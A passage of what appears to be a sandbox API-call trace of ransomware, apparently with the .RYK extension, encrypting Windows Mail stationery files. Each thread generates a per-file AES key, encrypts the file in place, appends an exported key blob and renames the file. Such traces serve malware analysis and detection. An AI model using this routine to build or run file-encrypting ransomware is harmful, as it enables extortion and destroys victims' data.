	[0270.188] WriteFile (in: hFile=0xa04, lpBuffer=0xa08fc30*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa08fbb0, lpOverlapped=0x0 | out: lpBuffer=0xa08fc30*, lpNumberOfBytesWritten=0xa08fbb0*=0x10c, lpOverlapped=0x0) returned 1
	[0270.188] CloseHandle (hObject=0xa04) returned 1
	[0270.247] CryptDestroyKey (hKey=0x2b9060) returned 1
	[0270.247] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3433
	os_tid = 0x3a94

	[0269.626] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", dwFileAttributes=0x80) returned 1
	[0270.145] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0270.146] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0xa23fb98 | out: lpFileSize=0xa23fb98*=6406) returned 1
	[0270.146] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0xa23fba8 | out: lpFileSize=0xa23fba8*=6406) returned 1
	[0270.146] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0x17e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0270.146] ReadFile (in: hFile=0xa0c, lpBuffer=0xa23fbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa23fb60, lpOverlapped=0x0 | out: lpBuffer=0xa23fbf0*, lpNumberOfBytesRead=0xa23fb60*=0x19, lpOverlapped=0x0) returned 1
	[0270.273] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.274] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xa23fb78 | out: phKey=0xa23fb78*=0x2b91b0) returned 1
	[0270.274] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.274] ReadFile (in: hFile=0xa0c, lpBuffer=0x3a90000, nNumberOfBytesToRead=0x1906, lpNumberOfBytesRead=0xa23fb84, lpOverlapped=0x0 | out: lpBuffer=0x3a90000*, lpNumberOfBytesRead=0xa23fb84*=0x1906, lpOverlapped=0x0) returned 1
	[0270.314] CryptEncrypt (in: hKey=0x2b91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa23fb80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa23fb80*=0xf4250) returned 1
	[0270.314] CryptEncrypt (in: hKey=0x2b91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a90000*, pdwDataLen=0xa23fb88*=0x1906, dwBufLen=0xf4250 | out: pbData=0x3a90000*, pdwDataLen=0xa23fb88*=0x1910) returned 1
	[0270.314] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.314] WriteFile (in: hFile=0xa0c, lpBuffer=0x3a90000*, nNumberOfBytesToWrite=0x1910, lpNumberOfBytesWritten=0xa23fb84, lpOverlapped=0x0 | out: lpBuffer=0x3a90000*, lpNumberOfBytesWritten=0xa23fb84*=0x1910, lpOverlapped=0x0) returned 1
	[0270.315] WriteFile (in: hFile=0xa0c, lpBuffer=0xa23fbb0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa23fb90, lpOverlapped=0x0 | out: lpBuffer=0xa23fbb0*, lpNumberOfBytesWritten=0xa23fb90*=0x6, lpOverlapped=0x0) returned 1
	[0270.315] CryptExportKey (in: hKey=0x2b91b0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa23fba0 | out: pbData=0x0*, pdwDataLen=0xa23fba0*=0x10c) returned 1
	[0270.315] CryptExportKey (in: hKey=0x2b91b0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xa23fc10, pdwDataLen=0xa23fba0 | out: pbData=0xa23fc10*, pdwDataLen=0xa23fba0*=0x10c) returned 1
	[0270.315] WriteFile (in: hFile=0xa0c, lpBuffer=0xa23fc10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa23fb90, lpOverlapped=0x0 | out: lpBuffer=0xa23fc10*, lpNumberOfBytesWritten=0xa23fb90*=0x10c, lpOverlapped=0x0) returned 1
	[0270.315] CloseHandle (hObject=0xa0c) returned 1
	[0270.323] CryptDestroyKey (hKey=0x2b91b0) returned 1
	[0270.324] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3434
	os_tid = 0x3a98

	[0269.631] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", dwFileAttributes=0x80) returned 1
	[0269.631] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa14
	[0269.632] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0x8ddfaf8 | out: lpFileSize=0x8ddfaf8*=235) returned 1
	[0269.632] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0x8ddfb08 | out: lpFileSize=0x8ddfb08*=235) returned 1
	[0269.632] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8ddfad8 | out: phKey=0x8ddfad8*=0x2b9060) returned 1
	[0269.632] SetFilePointer (in: hFile=0xa14, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0269.632] ReadFile (in: hFile=0xa14, lpBuffer=0x2690000, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x8ddfae4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8ddfae4*=0xeb, lpOverlapped=0x0) returned 1
	[0269.726] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8ddfae0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8ddfae0*=0xf4250) returned 1
	[0269.726] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8ddfae8*=0xeb, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8ddfae8*=0xf0) returned 1
	[0269.726] SetFilePointer (in: hFile=0xa14, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0269.726] WriteFile (in: hFile=0xa14, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x8ddfae4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8ddfae4*=0xf0, lpOverlapped=0x0) returned 1
	[0269.726] WriteFile (in: hFile=0xa14, lpBuffer=0x8ddfb10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8ddfaf0, lpOverlapped=0x0 | out: lpBuffer=0x8ddfb10*, lpNumberOfBytesWritten=0x8ddfaf0*=0x6, lpOverlapped=0x0) returned 1
	[0269.726] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8ddfb00 | out: pbData=0x0*, pdwDataLen=0x8ddfb00*=0x10c) returned 1
	[0269.726] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8ddfb70, pdwDataLen=0x8ddfb00 | out: pbData=0x8ddfb70*, pdwDataLen=0x8ddfb00*=0x10c) returned 1
	[0269.726] WriteFile (in: hFile=0xa14, lpBuffer=0x8ddfb70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8ddfaf0, lpOverlapped=0x0 | out: lpBuffer=0x8ddfb70*, lpNumberOfBytesWritten=0x8ddfaf0*=0x10c, lpOverlapped=0x0) returned 1
	[0269.727] CloseHandle (hObject=0xa14) returned 1
	[0270.144] CryptDestroyKey (hKey=0x2b9060) returned 1
	[0270.144] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3435
	os_tid = 0x3a9c

	[0269.636] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", dwFileAttributes=0x80) returned 1
	[0270.143] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa1c
	[0270.143] GetFileSizeEx (in: hFile=0xa1c, lpFileSize=0x9c2f998 | out: lpFileSize=0x9c2f998*=4222) returned 1
	[0270.143] GetFileSizeEx (in: hFile=0xa1c, lpFileSize=0x9c2f9a8 | out: lpFileSize=0x9c2f9a8*=4222) returned 1
	[0270.143] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0xf5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0270.144] ReadFile (in: hFile=0xa1c, lpBuffer=0x9c2f9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9c2f960, lpOverlapped=0x0 | out: lpBuffer=0x9c2f9f0*, lpNumberOfBytesRead=0x9c2f960*=0x19, lpOverlapped=0x0) returned 1
	[0270.248] SetFilePointer (in: hFile=0xa1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.248] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9c2f978 | out: phKey=0x9c2f978*=0x2b9060) returned 1
	[0270.248] SetFilePointer (in: hFile=0xa1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.249] ReadFile (in: hFile=0xa1c, lpBuffer=0x2980000, nNumberOfBytesToRead=0x107e, lpNumberOfBytesRead=0x9c2f984, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x9c2f984*=0x107e, lpOverlapped=0x0) returned 1
	[0270.397] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9c2f980*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9c2f980*=0xf4250) returned 1
	[0270.397] CryptEncrypt (in: hKey=0x2b9060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x9c2f988*=0x107e, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x9c2f988*=0x1080) returned 1
	[0270.397] SetFilePointer (in: hFile=0xa1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.397] WriteFile (in: hFile=0xa1c, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x9c2f984, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x9c2f984*=0x1080, lpOverlapped=0x0) returned 1
	[0270.397] WriteFile (in: hFile=0xa1c, lpBuffer=0x9c2f9b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9c2f990, lpOverlapped=0x0 | out: lpBuffer=0x9c2f9b0*, lpNumberOfBytesWritten=0x9c2f990*=0x6, lpOverlapped=0x0) returned 1
	[0270.398] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9c2f9a0 | out: pbData=0x0*, pdwDataLen=0x9c2f9a0*=0x10c) returned 1
	[0270.398] CryptExportKey (in: hKey=0x2b9060, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9c2fa10, pdwDataLen=0x9c2f9a0 | out: pbData=0x9c2fa10*, pdwDataLen=0x9c2f9a0*=0x10c) returned 1
	[0270.398] WriteFile (in: hFile=0xa1c, lpBuffer=0x9c2fa10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9c2f990, lpOverlapped=0x0 | out: lpBuffer=0x9c2fa10*, lpNumberOfBytesWritten=0x9c2f990*=0x10c, lpOverlapped=0x0) returned 1
	[0270.398] CloseHandle (hObject=0xa1c) returned 1
	[0270.400] CryptDestroyKey (hKey=0x2b9060) returned 1
	[0270.400] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3436
	os_tid = 0x3aa0

	[0269.640] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", dwFileAttributes=0x80) returned 1
	[0270.442] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa58
	[0270.443] GetFileSizeEx (in: hFile=0xa58, lpFileSize=0x8fafb18 | out: lpFileSize=0x8fafb18*=237) returned 1
	[0270.443] GetFileSizeEx (in: hFile=0xa58, lpFileSize=0x8fafb28 | out: lpFileSize=0x8fafb28*=237) returned 1
	[0270.443] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8fafaf8 | out: phKey=0x8fafaf8*=0x2b91b0) returned 1
	[0270.443] SetFilePointer (in: hFile=0xa58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.443] ReadFile (in: hFile=0xa58, lpBuffer=0x2f90000, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x8fafb04, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x8fafb04*=0xed, lpOverlapped=0x0) returned 1
	[0270.445] CryptEncrypt (in: hKey=0x2b91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8fafb00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8fafb00*=0xf4250) returned 1
	[0270.445] CryptEncrypt (in: hKey=0x2b91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x8fafb08*=0xed, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x8fafb08*=0xf0) returned 1
	[0270.445] SetFilePointer (in: hFile=0xa58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.446] WriteFile (in: hFile=0xa58, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x8fafb04, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x8fafb04*=0xf0, lpOverlapped=0x0) returned 1
	[0270.446] WriteFile (in: hFile=0xa58, lpBuffer=0x8fafb30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8fafb10, lpOverlapped=0x0 | out: lpBuffer=0x8fafb30*, lpNumberOfBytesWritten=0x8fafb10*=0x6, lpOverlapped=0x0) returned 1
	[0270.446] CryptExportKey (in: hKey=0x2b91b0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8fafb20 | out: pbData=0x0*, pdwDataLen=0x8fafb20*=0x10c) returned 1
	[0270.446] CryptExportKey (in: hKey=0x2b91b0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8fafb90, pdwDataLen=0x8fafb20 | out: pbData=0x8fafb90*, pdwDataLen=0x8fafb20*=0x10c) returned 1
	[0270.446] WriteFile (in: hFile=0xa58, lpBuffer=0x8fafb90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8fafb10, lpOverlapped=0x0 | out: lpBuffer=0x8fafb90*, lpNumberOfBytesWritten=0x8fafb10*=0x10c, lpOverlapped=0x0) returned 1
	[0270.446] CloseHandle (hObject=0xa58) returned 1
	[0270.447] CryptDestroyKey (hKey=0x2b91b0) returned 1
	[0270.448] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3437
	os_tid = 0x3aa4

	[0269.641] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", dwFileAttributes=0x80) returned 1
	[0275.379] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa58
	[0275.380] GetFileSizeEx (in: hFile=0xa58, lpFileSize=0x8cbf6d8 | out: lpFileSize=0x8cbf6d8*=6381) returned 1
	[0275.380] GetFileSizeEx (in: hFile=0xa58, lpFileSize=0x8cbf6e8 | out: lpFileSize=0x8cbf6e8*=6381) returned 1
	[0275.380] SetFilePointerEx (in: hFile=0xa58, liDistanceToMove=0x17cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.380] ReadFile (in: hFile=0xa58, lpBuffer=0x8cbf730, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x8cbf730*, lpNumberOfBytesRead=0x8cbf6a0*=0x19, lpOverlapped=0x0) returned 1
	[0275.383] SetFilePointer (in: hFile=0xa58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.383] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8cbf6b8 | out: phKey=0x8cbf6b8*=0x2b8e30) returned 1
	[0275.383] SetFilePointer (in: hFile=0xa58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.383] ReadFile (in: hFile=0xa58, lpBuffer=0x3290000, nNumberOfBytesToRead=0x18ed, lpNumberOfBytesRead=0x8cbf6c4, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesRead=0x8cbf6c4*=0x18ed, lpOverlapped=0x0) returned 1
	[0275.384] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8cbf6c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8cbf6c0*=0xf4250) returned 1
	[0275.384] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x8cbf6c8*=0x18ed, dwBufLen=0xf4250 | out: pbData=0x3290000*, pdwDataLen=0x8cbf6c8*=0x18f0) returned 1
	[0275.384] SetFilePointer (in: hFile=0xa58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.384] WriteFile (in: hFile=0xa58, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0x18f0, lpNumberOfBytesWritten=0x8cbf6c4, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x8cbf6c4*=0x18f0, lpOverlapped=0x0) returned 1
	[0275.385] WriteFile (in: hFile=0xa58, lpBuffer=0x8cbf6f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8cbf6d0, lpOverlapped=0x0 | out: lpBuffer=0x8cbf6f0*, lpNumberOfBytesWritten=0x8cbf6d0*=0x6, lpOverlapped=0x0) returned 1
	[0275.385] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8cbf6e0 | out: pbData=0x0*, pdwDataLen=0x8cbf6e0*=0x10c) returned 1
	[0275.385] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8cbf750, pdwDataLen=0x8cbf6e0 | out: pbData=0x8cbf750*, pdwDataLen=0x8cbf6e0*=0x10c) returned 1
	[0275.385] WriteFile (in: hFile=0xa58, lpBuffer=0x8cbf750*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8cbf6d0, lpOverlapped=0x0 | out: lpBuffer=0x8cbf750*, lpNumberOfBytesWritten=0x8cbf6d0*=0x10c, lpOverlapped=0x0) returned 1
	[0275.385] CloseHandle (hObject=0xa58) returned 1
	[0275.394] CryptDestroyKey (hKey=0x2b8e30) returned 1
